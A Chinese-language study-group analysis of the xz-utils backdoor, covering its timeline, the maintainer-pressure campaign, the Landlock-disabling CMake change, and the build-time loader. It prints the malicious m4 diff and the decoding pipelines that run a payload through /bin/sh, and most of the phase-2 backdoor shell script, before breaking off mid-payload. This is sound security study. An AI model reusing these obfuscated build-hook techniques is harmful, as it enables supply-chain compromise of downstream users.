前言
這次主要是準備NCKUCTF的讀書會的主題,順便記錄一下
時間線
2021-01-27: 創建JiaT75的Github帳號
2022-02-07: 第一次對xz進行commit
2022-05: Jia Tan成為了xz的maintainer,被登記到oss-fuzz xz的contact
2024-02-23: 上傳了一些測試檔案(包含了含有惡意payload的檔案tests/files/bad-3-corrupt_lzma2.xz
、tests/files/good-large_compressed.lzma
),commit
2024-02-24: 發布了5.6.0的tarball,包含了帶有問題的build-to-host.m4,帶有後門
2024-02-26: 修改了CMakeLists.txt,關閉了Landlock功能,commit
2024-03-09: 修改了測試檔案(tests/files/bad-3-corrupt_lzma2.xz
、tests/files/good-large_compressed.lzma
),commit
2024-03-09: 發布了5.6.0的tarball,同樣帶有後門
2024-03-29: Andres Freund在測試debian sid時發現後門
這個檔案不包含在git的source file中,只存在於5.6.0和5.6.1的tarball中,可以在web archieve 中下載,或是點xz-5.6.0.tar.zst 、xz-5.6.1.tar.zst 下載
在C的專案中,有些檔案只存在於tarball,在git中不存在是正常的,因為下游的使用者不需要去知道怎麼用autotools和autoconf,不過攻擊者利用了這個慣例,沒有將開啟後門的關鍵放入git中
有關m4/.gitignore. 1 2 3 4 + build-to-host.m4 codeset.m4 extern-inline.m4 fcntl-o.m4
這個其實和攻擊沒什麼關係,不過github上這個commit 的留言 挺有意思
懶人包
這是一種在linux內核(>5.15)實現的安全模型,讓process在較低權限運行,且限制其對系統資源的訪問,可用於創建沙盒和隔離危險操作
使用sys/prctl.h中的prctl()來配置landlock
▶
Lasse Collin在收到的郵件中被要求新增維護者
以下資訊來自此Mail Archieve
2022-05-19: Dennis Ens詢問XZ for java是否還在開發
2022-05-19: Lasse Collin回覆表示有很多工作在處理,但是仍有在開發,只是精力比較專注於XZ Utils的開發,在最後提到 Jia Tan在未來可能會發揮更多作用
2022-06-07: Jigar Kumar回覆施壓Lasse Collin要求他為項目新增維護者
2022-06-08: Lasse Collin回覆表示他有長期的心理問題,這個項目是一個無償維護的項目,他仍然有在努力開發,再次提到 Jia Tan在未來可能會發揮更多作用
2022-06-14: Jigar Kumar回復懷疑他們是否能夠如其發布版本,再次要求新增維護者
2022-06-21: Dennis Ens對Lasse Collin的心理問題感到抱歉,同樣也要求新增維護者
2022-06-29: Lasse Collin最後回覆新增維護者他已經思考很久了,Jia Tan很有可能在未來發生更大的作用
攻擊手法
CMakeLists.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Sandboxing: Landlock if(NOT SANDBOX_FOUND AND ENABLE_SANDBOX MATCHES "^ON$|^landlock$")- check_include_file(linux/landlock.h HAVE_LINUX_LANDLOCK_H) + # A compile check is done here because some systems have + # linux/landlock.h, but do not have the syscalls defined + # in order to actually use Linux Landlock. + check_c_source_compiles(" + #include <linux/landlock.h> + #include <sys/syscall.h> + #include <sys/prctl.h> +. + void my_sandbox(void) + { + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)SYS_landlock_create_ruleset; + (void)SYS_landlock_restrict_self; + (void)LANDLOCK_CREATE_RULESET_VERSION; + return; + } + int main(void) { return 0; } + " + HAVE_LINUX_LANDLOCK) - if(HAVE_LINUX_LANDLOCK_H) - set(SANDBOX_COMPILE_DEFINITION "HAVE_LINUX_LANDLOCK_H") + if(HAVE_LINUX_LANDLOCK) + set(SANDBOX_COMPILE_DEFINITION "HAVE_LINUX_LANDLOCK") set(SANDBOX_FOUND ON)
Github上的commit
▶
check_c_source_compiles與check_include_file
這兩個是cmake定義的函數
check_c_source_compiles 1 2 check_c_source_compiles(<code> <resultVar> [FAIL_REGEX <regex1> [<regex2>...]])
這會檢查<code>
的原始碼能否被編譯成連接檔,並將結果存於<resultVar>
中
check_include_file 1 CHECK_INCLUDE_FILE(<include > <variable> [<flags>])
這會檢查<include>
是否能被引入,並將結果存於<variable>
中
這一段的用處是檢查編譯機器是否能啟用Landlock feature
原本是使用check_include_file()
來檢查,Jia Tan將其改為使用check_c_source_compiles()
來檢查
理論上這樣更換並不會造成問題,但是在第11行的行首可以看到多了一個.
,這導致這段C code會編譯失敗,因此關閉了Landlock,不管在任何的機器上都會關閉,而不是原本的邏輯,只在不支援的機器關閉
m4/build-to-host.m4
5.6.0中的build-to-host.m4 與5.6.1中的完全相同
攻擊者對標準的build-to-host.m4進行修改,差異如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 @@ -1,5 +1,5 @@ -# build-to-host.m4 serial 3 -dnl Copyright (C) 2023 Free Software Foundation, Inc. +# build-to-host.m4 serial 30 +dnl Copyright (C) 2023-2024 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved.@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST], dnl Define somedir_c. gl_final_[$1]="$[$1]"+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"` dnl Translate it from build syntax to host syntax. case "$build_os" in cygwin*)@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST], if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then [$1]_c_make='\"$([$1])\"' fi+ if test "x$gl_am_configmake" != "x"; then + gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' + else + gl_[$1]_config='' + fi + _LT_TAGDECL([], [gl_path_map], [2])dnl + _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl + _LT_TAGDECL([], [gl_am_configmake], [2])dnl + _LT_TAGDECL([], [[$1]_c_make], [2])dnl + _LT_TAGDECL([], [gl_[$1]_config], [2])dnl AC_SUBST([$1_c_make])+ + dnl If the host conversion code has been placed in $gl_config_gt, + dnl instead of duplicating it all over again into config.status, + dnl then we will have config.status run $gl_config_gt later, so it + dnl needs to know what name is stored there: + AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"]) ]) dnl Some initializations for gl_BUILD_TO_HOST. AC_DEFUN([gl_BUILD_TO_HOST_INIT], [+ dnl Search for Automake-defined pkg* macros, in the order + dnl listed in the Automake 1.10a+ documentation. + gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` + if test -n "$gl_am_configmake"; then + HAVE_PKG_CONFIGMAKE=1 + else + HAVE_PKG_CONFIGMAKE=0 + fi + gl_sed_double_backslashes='s/\\/\\\\/g' gl_sed_escape_doublequotes='s/"/\\"/g'+ gl_path_map='tr "\t \-_" " \t_\-"' changequote(,)dnl gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g" changequote([,])dnl
先將檔案中的變數解析出來
1 2 3 4 5 gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` gl_am_configmake=$srcdir/tests/files/bad-3-corrupt_lzma2.xz gl_path_map='tr "\t \-_" " \t_\-"'gl_[$ 1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g" ` gl_[$ 1]_prefix=xz
在這段邏輯中,將會檢查是否有設定gl_am_configmake
變數,如果沒有,後門將不會啟動
1 2 3 4 5 if test "x$gl_am_configmake" != "x"; then gl_[$ 1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' else gl_[$ 1]_config='' fi
gl_[$1]_config
將在AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
中執行
如果變數存在,gl_[$1]_config
將會從tests/files/bad-3-corrupt_lzma2.xz
中拿到phase 1 payload,在5.6.0和5.6.1版本具有差異
5.6.0
1 2 3 4 5 6 7 8 9 10 11 12 gl_[$ 1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_[$ 1]_config=` # # Z.hj eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh# `
5.6.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gl_[$ 1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_[$ 1]_config=` # # �$� [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh# `
這兩個版本的payload差不多,不過5.6.1版本會確認是否在Linux上編譯,而且確認了5次,可能是為了增加更改的量,讓commit看起來更正常
另一個不同的點是變數i
的值不同,偏移量有所區別
i
的指令會丟棄前1024bytes,輸出2048bytes,再次丟棄前1024bytes,輸出2048bytes,這樣重複16次,最後丟棄前1024bytes,輸出724bytes(5.6.0)/939bytes(5.6.1)
後面的部分則是將第二個包含惡意Payload的測試檔案(tests/files/good-large_compressed.lzma
)解壓縮,並對輸出執行i
的指令,擷取尾部31265bytes(5.6.0)/31233bytes(5.6.1),使用tr替換字元,再次進行一次解壓縮,得到phase2 payload,並將其執行
1 xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
5.6.0-phase2-payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" C="pic_flag=\" $P \"" O="^pic_flag=\" -fPIC -DPIC\"$" R="is_arch_extension_supported" x="__get_cpuid(" p="good-large_compressed.lzma" U="bad-3-corrupt_lzma2.xz" eval $zrKcVq if test -f config.status; then eval $zrKcSS eval `grep ^LD=\'\/ config.status`eval `grep ^CC=\' config.status`eval `grep ^GCC=\' config.status`eval `grep ^srcdir=\' config.status`eval `grep ^build=\'x86_64 config.status`eval `grep ^enable_shared=\'yes \' config.status`eval `grep ^enable_static=\' config.status`eval `grep ^gl_path_map=\' config.status`eval $zrKccj if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then exit 0fi if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then exit 0fi if test "x$enable_shared " != "xyes" ;then exit 0fi if ! (echo "$build " | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build " | grep -Eq "linux-gnu$" > /dev/null 2>&1);then exit 0fi if ! grep -qs "$R ()" $srcdir /src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then exit 0fi if ! grep -qs "$R ()" $srcdir /src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then exit 0fi if ! grep -qs "$R " $srcdir /src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then exit 0fi if ! grep -qs "$x " $srcdir /src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then exit 0fi if test "x$GCC " != 'xyes' > /dev/null 2>&1;then exit 0fi if test "x$CC " != 'xgcc' > /dev/null 2>&1;then exit 0fi LDv=$LD " -v" if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then exit 0fi if ! test -f "$srcdir /tests/files/$p " > /dev/null 2>&1;then exit 0fi if ! test -f "$srcdir /tests/files/$U " > /dev/null 2>&1;then exit 0fi if test -f "$srcdir /debian/rules" || test "x$RPM_ARCH " = "xx86_64" ;then eval $zrKcst j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4" if ! grep -qs "$j " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi z="^am__uninstall_files_from_dir = {" if ! grep -qs "$z " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi w="^am__install_max =" if ! grep -qs "$w " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi E=$z if ! grep -qs "$E " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi Q="^am__vpath_adj_setup =" if ! grep -qs "$Q " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi M="^am__include = include" if ! grep -qs "$M " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi L="^all: all-recursive$" if ! grep -qs "$L " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi m="^LTLIBRARIES = \$(lib_LTLIBRARIES)" if ! grep -qs "$m " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi u="AM_V_CCLD = \$(am__v_CCLD_\$(V))" if ! grep -qs "$u " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi if ! grep -qs "$O " libtool > /dev/null 2>&1;then exit 0fi eval $zrKcTy b="am__test = $U " sed -i "/$j /i$b " src/liblzma/Makefile || true d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g' ` b="am__strip_prefix = $d " sed -i "/$w /i$b " src/liblzma/Makefile || true b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)" sed -i "/$E /i$b " src/liblzma/Makefile || true b="\$(top_srcdir)/tests/files/\$(am__test)" s="am__test_dir=$b " sed -i "/$Q /i$s " src/liblzma/Makefile || true h="-Wl,--sort-section=name,-X" if ! echo "$LDFLAGS " | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then h=$h ",-z,now" fi j="liblzma_la_LDFLAGS += $h " sed -i "/$L /i$j " src/liblzma/Makefile || true sed -i "s/$O /$C /g" libtool || true k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))" sed -i "s/$u /$k /" src/liblzma/Makefile || true l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\ export top_srcdir='\$(top_srcdir)'; \\\\\n\ export CC='\$(CC)'; \\\\\n\ export DEFS='\$(DEFS)'; \\\\\n\ export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\ export INCLUDES='\$(INCLUDES)'; \\\\\n\ export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\ export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\ export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\ export CFLAGS='\$(CFLAGS)'; \\\\\n\ export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\ export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\ export libdir='\$(libdir)'; \\\\\n\ export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\ export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\ sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1" ; sed -i "/$m /i$l " src/liblzma/Makefile || true eval $zrKcHD fi elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then eval $zrKcKQ if ! grep -qs "$R ()" $top_srcdir /src/liblzma/check/crc64_fast.c; then exit 0fi if ! grep -qs "$R ()" $top_srcdir /src/liblzma/check/crc32_fast.c; then exit 0fi if ! grep -qs "$R " $top_srcdir /src/liblzma/check/crc_x86_clmul.h; then exit 0fi if ! grep -qs "$x " $top_srcdir /src/liblzma/check/crc_x86_clmul.h; then exit 0fi if ! grep -qs "$C " ../../libtool; then exit 0fi if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then exit 0fi if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then exit 0fi N=0 W=0 Y=`grep "dnl Convert it to C string syntax." $top_srcdir /m4/gettext.m4`eval $zrKcjv if test -z "$Y " ; then N=0 W=88792else N=88792 W=0fi xz -dc $top_srcdir /tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2 >&1 ) && head -c +$W ) > liblzma_la-crc64-fast.o || true if ! test -f liblzma_la-crc64-fast.o; then exit 0 fi cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0 ))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' eval $yosA if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \ $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true eval $BPep if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \ sed "/include \"crc32_arm64.h\"/a \\$V" | \ sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \ $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then eval $RgYB if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then if test ! -f .libs/liblzma.so; then mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true else mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -f .libs/liblzma_la-crc32-fast.o || true rm -f .libs/liblzma_la-crc64-fast.o || true else mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi else mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true fi rm -f liblzma_la-crc64-fast.o || true fi eval $DHLd
5.6.1-phase2-payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" C="pic_flag=\" $P \"" O="^pic_flag=\" -fPIC -DPIC\"$" R="is_arch_extension_supported" x="__get_cpuid(" p="good-large_compressed.lzma" U="bad-3-corrupt_lzma2.xz" [ ! $(uname )="Linux" ] && exit 0eval $zrKcVq if test -f config.status; then eval $zrKcSS eval `grep ^LD=\'\/ config.status`eval `grep ^CC=\' config.status`eval `grep ^GCC=\' config.status`eval `grep ^srcdir=\' config.status`eval `grep ^build=\'x86_64 config.status`eval `grep ^enable_shared=\'yes \' config.status`eval `grep ^enable_static=\' config.status`eval `grep ^gl_path_map=\' config.status` vs=`grep -broaF '~!:_ W' $srcdir /tests/files/ 2>/dev/null`if test "x$vs " != "x" > /dev/null 2>&1;then f1=`echo $vs | cut -d: -f1`if test "x$f1 " != "x" > /dev/null 2>&1;then start=`expr $(echo $vs | cut -d: -f2) + 7` ve=`grep -broaF '|_!{ -' $srcdir /tests/files/ 2>/dev/null`if test "x$ve " != "x" > /dev/null 2>&1;then f2=`echo $ve | cut -d: -f1`if test "x$f2 " != "x" > /dev/null 2>&1;then [ ! "x$f2 " = "x$f1 " ] && exit 0 [ ! -f $f1 ] && exit 0 end=`expr $(echo $ve | cut -d: -f2) - $start `eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`fi fi fi fi eval $zrKccj if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then exit 0fi if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then exit 0fi if test "x$enable_shared " != "xyes" ;then exit 0fi if ! (echo "$build " | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build " | grep -Eq "linux-gnu$" > /dev/null 2>&1);then exit 0fi if ! grep -qs "$R ()" $srcdir /src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then exit 0fi if ! grep -qs "$R ()" $srcdir /src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then exit 0fi if ! grep -qs "$R " $srcdir /src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then exit 0fi if ! grep -qs "$x " $srcdir /src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then exit 0fi if test "x$GCC " != 'xyes' > /dev/null 2>&1;then exit 0fi if test "x$CC " != 'xgcc' > /dev/null 2>&1;then exit 0fi LDv=$LD " -v" if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then exit 0fi if ! test -f "$srcdir /tests/files/$p " > /dev/null 2>&1;then exit 0fi if ! test -f "$srcdir /tests/files/$U " > /dev/null 2>&1;then exit 0fi if test -f "$srcdir /debian/rules" || test "x$RPM_ARCH " = "xx86_64" ;then eval $zrKcst j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4" if ! grep -qs "$j " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi z="^am__uninstall_files_from_dir = {" if ! grep -qs "$z " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi w="^am__install_max =" if ! grep -qs "$w " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi E=$z if ! grep -qs "$E " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi Q="^am__vpath_adj_setup =" if ! grep -qs "$Q " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi M="^am__include = include" if ! grep -qs "$M " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi L="^all: all-recursive$" if ! grep -qs "$L " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi m="^LTLIBRARIES = \$(lib_LTLIBRARIES)" if ! grep -qs "$m " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi u="AM_V_CCLD = \$(am__v_CCLD_\$(V))" if ! grep -qs "$u " src/liblzma/Makefile > /dev/null 2>&1;then exit 0fi if ! grep -qs "$O " libtool > /dev/null 2>&1;then exit 0fi eval $zrKcTy b="am__test = $U " sed -i "/$j /i$b " src/liblzma/Makefile || true d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g' ` b="am__strip_prefix = $d " sed -i "/$w /i$b " src/liblzma/Makefile || true b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)" sed -i "/$E /i$b " src/liblzma/Makefile || true b="\$(top_srcdir)/tests/files/\$(am__test)" s="am__test_dir=$b " sed -i "/$Q /i$s " src/liblzma/Makefile || true h="-Wl,--sort-section=name,-X" if ! echo "$LDFLAGS " | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then h=$h ",-z,now" fi j="liblzma_la_LDFLAGS += $h " sed -i "/$L /i$j " src/liblzma/Makefile || true sed -i "s/$O /$C /g" libtool || true k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))" sed -i "s/$u /$k /" src/liblzma/Makefile || true l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\ export top_srcdir='\$(top_srcdir)'; \\\\\n\ export CC='\$(CC)'; \\\\\n\ export DEFS='\$(DEFS)'; \\\\\n\ export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\ export INCLUDES='\$(INCLUDES)'; \\\\\n\ export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\ export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\ export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\ export CFLAGS='\$(CFLAGS)'; \\\\\n\ export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\ export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\ export libdir='\$(libdir)'; \\\\\n\ export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\ export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\ sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1" ; sed -i "/$m /i$l " 